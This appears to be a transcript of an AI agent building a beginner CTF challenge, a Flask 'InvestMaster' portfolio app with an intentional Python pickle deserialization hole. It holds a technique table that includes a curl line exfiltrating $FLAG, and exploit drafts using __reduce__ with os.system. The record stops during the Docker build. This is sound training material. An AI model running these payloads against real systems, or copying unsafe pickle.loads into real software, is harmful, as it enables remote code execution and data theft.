🤖
# 阶段1：用户输入需求
[2026-01-07 15:35:27] [STAGE] [Augment] 🎯 [阶段 0] 阶段 0

根据用户输入，确认需求如下：

```
语言：Python
难度：入门（最多1个漏洞）
漏洞：Python反序列化
场景：投资理财
```

---

# 阶段2：漏洞主次分类
[2026-01-07 15:35:27] [STAGE] [Augment] 🎯 [阶段 1] 阶段 1

**入门难度只允许1个漏洞，跳过此阶段**

- 主漏洞：Python反序列化（分配 5 篇 writeup）

---

# 阶段3：知识库获取
[2026-01-07 15:35:27] [STAGE] [Augment] 🎯 [阶段 2] 阶段 2

## 3.1 获取学习材料

使用 choice.py 从知识库获取相关 writeup：

🔧 Tool call: launch-process
   command: "python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化""
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   wait: true
   max_wait_seconds: 60

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
📊 指定数量: 5 篇writeup

📁 分类 [Python反序列化]: 找到 7/9 个有效writeup
✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇

============================================================
📚 最终汇总选出的 5 篇文章：
  - Bottle Poem.md
  - File Store.md
  - Jar.md
  - Paddle.md
  - flask_caching.md
🤖
现在读取这5篇 writeup 文件来学习相关技巧：

🔧 Tool call: view
   path: "data/writeups/Bottle Poem.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/Bottle Poem.md:
     1	LFI:  
     2	http://bottle-poem.ctf.sekai.team/show?id=/app/app.py  
     3	/sign url uses some secret to create digital signature of a user session.  
     4	http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py  
     5	reveals that secret.  
     6	So, now we can create our own customized sessions.  
     7	Viewing the src code of bottle:  
     8	```  
     9	def cookie_encode(data, key):  
    10	''' Encode and sign a pickle-able object. Return a (byte) string '''  
    11	msg = base64.b64encode(pickle.dumps(data, -1))  
    12	sig = base64.b64encode(hmac.new(tob(key), msg,
    13	digestmod=hashlib.md5).digest())  
    14	return tob('!') + sig + tob('?') + msg  
... (38 more lines)
🤖
继续读取其他 writeup 文件：

🔧 Tool call: view
   path: "data/writeups/File Store.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/File Store.md:
     1	# KalmarCTF 2024
     2	
     3	by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260),
     4	[CTFtime](https://ctftime.org/team/284495))
     5	
     6	## web
     7	
     8	### File Store (59 Solves)
     9	
    10	#### Prompt
    11	
    12	> Upload your files on the Kalmar File Store and share them with your friends.  
    13	>  
    14	> Note: For this challenge, you will not be sharing it by anybody else. Thus,
... (458 more lines)
🤖
继续读取其他 writeup 文件：

🔧 Tool call: view
[2026-01-07 15:35:45] [INFO] [Augment] [已处理 100 行]
   path: "data/writeups/Jar.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/Jar.md:
     1	# Jar
     2	
     3	## Challenge:
     4	
     5	My other pickle challenges seem to be giving you all a hard time, so here's a
     6	[simpler one](https://jar.2021.chall.actf.co/) to get you warmed up.
     7	
     8	## Solution:
     9	
    10	We’re given a link to the web application, the Python source code, and a
    11	picture of a pickle. The hint points to the [documentation for the Python
    12	pickle module](https://docs.python.org/3/library/pickle.html), a clue that
    13	this application is vulnerable to insecure deserialization.
    14	
... (61 more lines)
🤖
继续读取剩余的 writeup 文件：

🔧 Tool call: view
   path: "data/writeups/Paddle.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/Paddle.md:
     1	# Paddle
     2	
     3	**Tags**: Clone-and-Pwn, web
     4	
     5	> Flexible to serve ML models, and more.
     6	
     7	For this challenge, we are given a Dockerfile that installs the latest version
     8	of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the
     9	built-in demo.
    10	
    11	```Dockerfile  
    12	FROM python:3.6-slim  
    13	RUN apt-get update && \  
    14	apt-get install libgomp1 && \  
... (97 more lines)
🤖
继续读取最后一个 writeup 文件：

🔧 Tool call: view
   path: "data/writeups/flask_caching.md"

📋 Tool result: view
Here's the result of running `cat -n` on data/writeups/flask_caching.md:
     1	# flask_caching (Web, 300 points)
     2	
     3	> cache all the things (this is python3)  
     4	> http://web.chal.csaw.io:5000
     5	
     6	This challenge serves up a Flask web application where we are able to upload  
     7	a note with a title and file, which it puts into the Redis database. It also  
     8	uses `flask_caching` on many endpoints just because. The source code was  
     9	provided in `app.py` and the relevant parts are included below:
    10	
    11	```python  
    12	@app.route('/', methods=['GET', 'POST'])  
    13	def notes_post():  
    14	if request.method == 'GET':  
... (108 more lines)
🤖
# 阶段4：知识整理
[2026-01-07 15:36:26] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3

## 可借鉴技巧清单

| 技巧 | 来源 | 代码片段 | 适用场景 |
|------|------|---------|---------|
| pickle.dumps 反序列化 RCE | Bottle Poem.md | `class PickleRce: def __reduce__(self): return eval, ("os.system('cmd')",)` | Python Web 应用 |
| __reduce__ 方法触发命令执行 | Jar.md | `def __reduce__(self): cmd = ("sleep 5"); return os.system, (cmd,)` | Pickle 反序列化 |
| Base64 编码 pickle payload | Jar.md | `base64.urlsafe_b64encode(pickle.dumps(RCE()))` | Cookie 传输 |
| Flask Session 文件反序列化 | File Store.md | `pickle.load(f)` 读取 session 文件 | Flask Session 存储 |
| 通过 curl 外带数据 | Jar.md | `cmd = ("curl https://endpoint/`echo $FLAG`")` | 数据外带 |
| Pickle 写入文件触发 | File Store.md | `f.seek(4); pickle.dump(session_value, f)` | 文件上传场景 |
| Redis + Pickle 反序列化 | flask_caching.md | `payload = b"!" + pickle.dumps(RCE())` | Flask Caching |
| numpy.load allow_pickle | Paddle.md | `np.load(byte_data, allow_pickle=True)` | NumPy 数据加载 |

---

# 阶段5：题目设计
[2026-01-07 15:36:26] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4

## 5.1 设计目标

- **差异度**：≥20%（入门级别）
- **深度**：1.5-4.0（入门级别）
- **趣味性**：0-1 个啊哈时刻

## 5.2 利用链设计

| 步骤 | 类型 | 技术点 | 深度 | 知识来源 |
|------|------|--------|------|---------|
| Step 1 | 信息收集 | 访问投资理财平台，发现投资组合保存功能 | 1/10 | 业务逻辑 |
| Step 2 | 功能探索 | 发现可以保存和加载投资组合配置 | 1.5/10 | 业务逻辑 |
| Step 3 | 漏洞利用 | 构造恶意 pickle payload 上传 | 3/10 | Jar.md, File Store.md |
| Step 4 | 触发反序列化 | 加载投资组合时触发 pickle.loads | 3.5/10 | Bottle Poem.md |
| Step 5 | 获取 FLAG | 命令执行读取 /flag.txt | 4/10 | Jar.md |
[2026-01-07 15:36:26] [INFO] [Augment] [已处理 200 行]

**平均深度**：(1 + 1.5 + 3 + 3.5 + 4) / 5 = 2.6/10 ✅ 符合入门要求

**啊哈时刻**：发现投资组合配置文件实际是 pickle 序列化数据

## 5.3 核心代码预写

### 漏洞触发代码（真实代码）

❌ 安全写法（不能触发）：
```python
import json
portfolio_data = json.loads(file_content)
```

✅ 漏洞写法（能触发）：
```python
import pickle
import base64

portfolio_data = base64.b64decode(file_content)
portfolio = pickle.loads(portfolio_data)
```

### exp 核心代码（真实代码）

```python
import pickle
import base64
import requests

class RCE:
    def __reduce__(self):
        import os
        return os.system, ('cat /flag.txt > /tmp/flag.txt',)

payload = base64.b64encode(pickle.dumps(RCE()))
files = {'file': ('portfolio.dat', payload)}
r = requests.post(f'{url}/upload', files=files)
r2 = requests.get(f'{url}/load?name=portfolio.dat')
```

### 依赖清单
- Flask==2.3.0
- requests==2.31.0

## 5.3.1 代码可运行性自检

1. **导入完整吗？** ✅ pickle, base64, os, Flask 都有导入
2. **路由正确吗？** ✅ /upload (POST), /load (GET)
3. **参数名一致吗？** ✅ file 参数用于上传，name 参数用于加载
4. **响应格式对吗？** ✅ 返回 HTML 页面或 JSON

## 5.4 简易 exp 草稿（用于 Docker 测试）

```python
import pickle
import base64
import requests

url = "http://localhost:5000"

class RCE:
    def __reduce__(self):
        import os
        return os.system, ('cat /flag.txt',)

payload = base64.b64encode(pickle.dumps(RCE()))

files = {'file': ('portfolio.dat', payload)}
r1 = requests.post(f"{url}/upload", files=files)
print("Upload:", r1.status_code)

r2 = requests.get(f"{url}/load?name=portfolio.dat")
print("Load:", r2.status_code)
print("Response:", r2.text)
```

## 5.5 设计摘要

```
### 设计摘要
- 题目名称：InvestMaster
- 利用链：访问平台 -> 上传投资组合 -> 加载配置触发反序列化 -> 命令执行 -> 获取 FLAG
- 黑名单：无
- 关键 payload：pickle.dumps(RCE()) 经过 base64 编码
- 容器端口：5000
```

---

# 阶段6：质量检查
[2026-01-07 15:36:26] [STAGE] [Augment] 🎯 [阶段 5] 阶段 5

### 检查清单

- [x] **深度达标**：平均深度 2.6/10，最高深度 4/10，符合入门要求（1.5-4.0）
- [x] **漏洞覆盖**：Python反序列化漏洞在利用链中（Step 3-4）
- [x] **代码可行**：核心代码使用 pickle.loads 触发反序列化，可正常运行
- [x] **payload 兼容**：无黑名单，payload 不会被阻断

[2026-01-07 15:36:26] [INFO] [Augment] [已处理 300 行]
✅ **质量检查通过，进入代码生成阶段**

---

# 阶段7：代码生成
[2026-01-07 15:36:26] [STAGE] [Augment] 🎯 [阶段 6] 阶段 6

## 7.1 生成后端代码

🔧 Tool call: launch-process
   command: "date +"%Y%m%d_%H%M%S""
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   wait: true
   max_wait_seconds: 10

📋 Tool result: launch-process
✅ Command completed successfully

📤 Output:
20260107_153626
🤖
好的，我将继续生成代码。现在创建输出目录并生成后端代码：

🔧 Tool call: launch-process
   command: "mkdir -p output/20260107_153626_InvestMaster/docker/web/src output/20260107_153626_InvestMaster/docker/web/files output/20260107_153626_InvestMaster/docker/web/src/templates output/20260107_153626_InvestMaster/docker/web/src/static output/20260107_153626_InvestMaster/docker/web/src/uploads"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 10
   wait: true

📋 Tool result: launch-process
✅ Command completed successfully

(No output)
🤖
好的，我将分段生成文件。首先生成后端代码：

🔧 Tool call: save-file
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260107_153626_InvestMaster/docker/web/src/app.py"
   file_content: "from flask import Flask, render_template, request, redirect, url_for, jsonify
   import pickle
   import base64
   import os
   import uuid
   
   app = Flask(__name__)
   app.config['UPLOAD_FOLDER'] = 'uploads'
   app.config['MAX_CONTENT_LENGTH'] = 16 * 1024
   
   os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
   
   @app.route('/')
... (51 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/app.py}
🤖
好的，继续生成前端模板文件：

🔧 Tool call: save-file
   file_content: "<!DOCTYPE html>
   <html lang="en">
   <head>
       <meta charset="UTF-8">
       <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>InvestMaster - Portfolio Manager</title>
       <link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
   </head>
   <body>
       <div class="container">
           <h1>InvestMaster Portfolio Manager</h1>
           <p class="subtitle">Manage your investment portfolios with ease</p>
           
           <div class="section">
               <h2>Upload Portfolio Configuration</h2>
... (31 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/templates/index.html}
🤖
好的，我会继续分段生成文件。现在生成其他模板文件：

🔧 Tool call: save-file
   file_content: "<!DOCTYPE html>
   <html lang="en">
   <head>
       <meta charset="UTF-8">
       <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>Portfolio Details - InvestMaster</title>
       <link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
   </head>
   <body>
       <div class="container">
           <h1>Portfolio Details</h1>
           
           <div class="section">
               <h2>Portfolio Information</h2>
               <div class="portfolio-details">
... (13 more lines)

📋 Tool result: save-file
[2026-01-07 15:37:01] [INFO] [Augment] [已处理 400 行]
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/templates/portfolio.html}
🤖
好的，继续生成 create.html 模板：

🔧 Tool call: save-file
   file_content: "<!DOCTYPE html>
   <html lang="en">
   <head>
       <meta charset="UTF-8">
       <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>Create Portfolio - InvestMaster</title>
       <link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
   </head>
   <body>
       <div class="container">
           <h1>Create New Portfolio</h1>
           
           <div class="section">
               <h2>Portfolio Configuration Guide</h2>
               <p>To create a portfolio, prepare a .dat file with your investment configuration.</p>
... (23 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/templates/create.html}
🤖
好的，继续生成 CSS 样式文件：

🔧 Tool call: save-file
   file_content: "* {
       margin: 0;
       padding: 0;
       box-sizing: border-box;
   }
   
   body {
       font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
       background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
       min-height: 100vh;
       padding: 20px;
   }
   
   .container {
       max-width: 800px;
... (105 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/static/style.css}
🤖
好的，继续生成 requirements.txt 文件：

🔧 Tool call: save-file
   file_content: "Flask==2.3.0
   Werkzeug==2.3.0
   "
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260107_153626_InvestMaster/docker/web/src/requirements.txt"

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/requirements.txt}
🤖
好的，继续生成 Dockerfile：

🔧 Tool call: save-file
   file_content: "FROM python:3.9-slim
   
   RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
       sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
   
   RUN apt-get update && apt-get install -y --no-install-recommends \
       && rm -rf /var/lib/apt/lists/*
   
   WORKDIR /app
   
   COPY src/requirements.txt .
   RUN pip install --no-cache-dir -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
   
   COPY src/ .
   COPY files/flag.sh /flag.sh
... (17 more lines)

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/Dockerfile}
🤖
好的，继续生成 docker-compose.yml 文件：

🔧 Tool call: save-file
   file_content: "version: '3'
   
   services:
     web:
       build: ./web
       container_name: investmaster_web
       ports:
         - "42567:5000"
       restart: unless-stopped
   "
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260107_153626_InvestMaster/docker/docker-compose.yml"

📋 Tool result: save-file
[2026-01-07 15:37:40] [INFO] [Augment] [已处理 500 行]
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/docker-compose.yml}
🤖
好的，继续生成 flag.sh 文件：

🔧 Tool call: save-file
   file_content: "#!/bin/bash
   echo $DASFLAG > /flag.txt
   export DASFLAG=nonono
   rm -f /flag.sh
   "
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260107_153626_InvestMaster/docker/web/files/flag.sh"

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/files/flag.sh}
🤖
好的，继续生成 start.sh 文件：

🔧 Tool call: save-file
   file_content: "#!/bin/bash
   /flag.sh
   python3 /app/app.py
   "
   instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
   path: "output/20260107_153626_InvestMaster/docker/web/files/start.sh"

📋 Tool result: save-file
File saved.  Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/files/start.sh}
🤖
好的，我会继续按照规则分段执行。现在进入阶段8：Docker 构建与测试。
[2026-01-07 15:37:59] [STAGE] [Augment] 🎯 [阶段 7] 阶段 7

---

# 阶段8：Docker 构建与测试

## 8.1 分层验证

### 第1层：容器启动

🔧 Tool call: launch-process
   command: "cd output/20260107_153626_InvestMaster/docker && docker-compose -p ctf_test up -d --build"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 300
   wait: true

📋 Tool result: launch-process
❌ Error:
  Command failed with exit code 17

📤 Output:
#1 [internal] load build definition from Dockerfile
#1 transferring dockerfile: 702B done
#1 DONE 0.0s

#2 [internal] load .dockerignore
#2 transferring context: 2B done
#2 DONE 0.0s

#3 [internal] load metadata for docker.io/library/python:3.9-slim
#3 DONE 0.7s

#4 [ 1/11] FROM docker.io/library/python:3.9-slim@sha256:2d97f6910b16bd338d3060f261f53f144965f755599aab1acda1e13cf1731b1b
#4 CACHED

#5 [internal] load build context
#5 transferring context: 7.83kB 0.0s done
#5 DONE 0.0s

#6 [ 2/11] RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list &&     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
#6 0.253 sed: can't read /etc/apt/sources.list: No such file or directory
#6 ERROR: executor failed running [/bin/sh -c sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list &&     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list]: exit code: 2
------
 > [ 2/11] RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list &&     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list:
#6 0.253 sed: can't read /etc/apt/sources.list: No such file or directory
------
failed to solve: executor failed running [/bin/sh -c sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list &&     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list]: exit code: 2
🤖
发现 Dockerfile 错误，Python 3.9-slim 使用的是新版 Debian，sources.list 文件位置不同。我需要修复 Dockerfile：

🔧 Tool call: str-replace-editor
📝 output/20260107_153626_InvestMaster/docker/web/Dockerfile (lines 3-5 → lines 2-1)
-RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
-    sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
-

📋 Tool result: str-replace-editor
Successfully edited the file output/20260107_153626_InvestMaster/docker/web/Dockerfile.
Result for str_replace for entry with index [1]:
Replacement successful.
new_str starts at line 1 and ends at line 4.

Review the changes and make sure they are as expected (correct indentation, no duplicate lines, etc).
Edit the file again if necessary.

🤖
好的，我会继续修复 Dockerfile 中的 pip 镜像源配置：

🔧 Tool call: str-replace-editor
📝 output/20260107_153626_InvestMaster/docker/web/Dockerfile (line 2 → line 2)
-RUN pip install --no-cache-dir -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
[2026-01-07 15:38:19] [INFO] [Augment] [已处理 600 行]
+RUN pip install --no-cache-dir -r requirements.txt

📋 Tool result: str-replace-editor
Successfully edited the file output/20260107_153626_InvestMaster/docker/web/Dockerfile.
Result for str_replace for entry with index [1]:
Replacement successful.
new_str starts at line 8 and ends at line 9.

Review the changes and make sure they are as expected (correct indentation, no duplicate lines, etc).
Edit the file again if necessary.

🤖
好的，现在重新构建 Docker 容器：

🔧 Tool call: launch-process
   command: "cd output/20260107_153626_InvestMaster/docker && docker-compose -p ctf_test up -d --build"
   cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
   max_wait_seconds: 300
   wait: true

📋 Tool result: launch-process
Command may still be running. You can use read-process to get more output
and kill-process to terminate it if needed.
Terminal ID 5
Output so far:
<output>
#1 [internal] load build definition from Dockerfile
#1 transferring dockerfile: 502B done
#1 DONE 0.0s

#2 [internal] load .dockerignore
#2 transferring context: 2B done
#2 DONE 0.0s

#3 [internal] load metadata for docker.io/library/python:3.9-slim
#3 DONE 0.2s

#4 [internal] load build context
#4 transferring context: 455B done
#4 DONE 0.0s

#5 [ 1/10] FROM docker.io/library/python:3.9-slim@sha256:2d97f6910b16bd338d3060f261f53f144965f755599aab1acda1e13cf1731b1b
#5 ...

#6 [ 2/10] RUN apt-get update && apt-get install -y --no-install-recommends     && rm -rf /var/lib/apt/lists/*
#0 1.439 Get:1 http://deb.debian.org/debian trixie InRelease [140 kB]
#0 2.701 Get:2 http://deb.debian.org/debian trixie-updates InRelease [47.3 kB]
#0 7.029 Get:3 http://deb.debian.org/debian-security trixie-security InRelease [43.4 kB]
#6 16.26 Get:4 http://deb.debian.org/debian trixie/main arm64 Packages [9607 kB]

</output>
🤖
好的，我会等待 Docker 构建完成：

🔧 Tool call: read-process
   terminal_id: 5
   wait: true
   max_wait_seconds: 240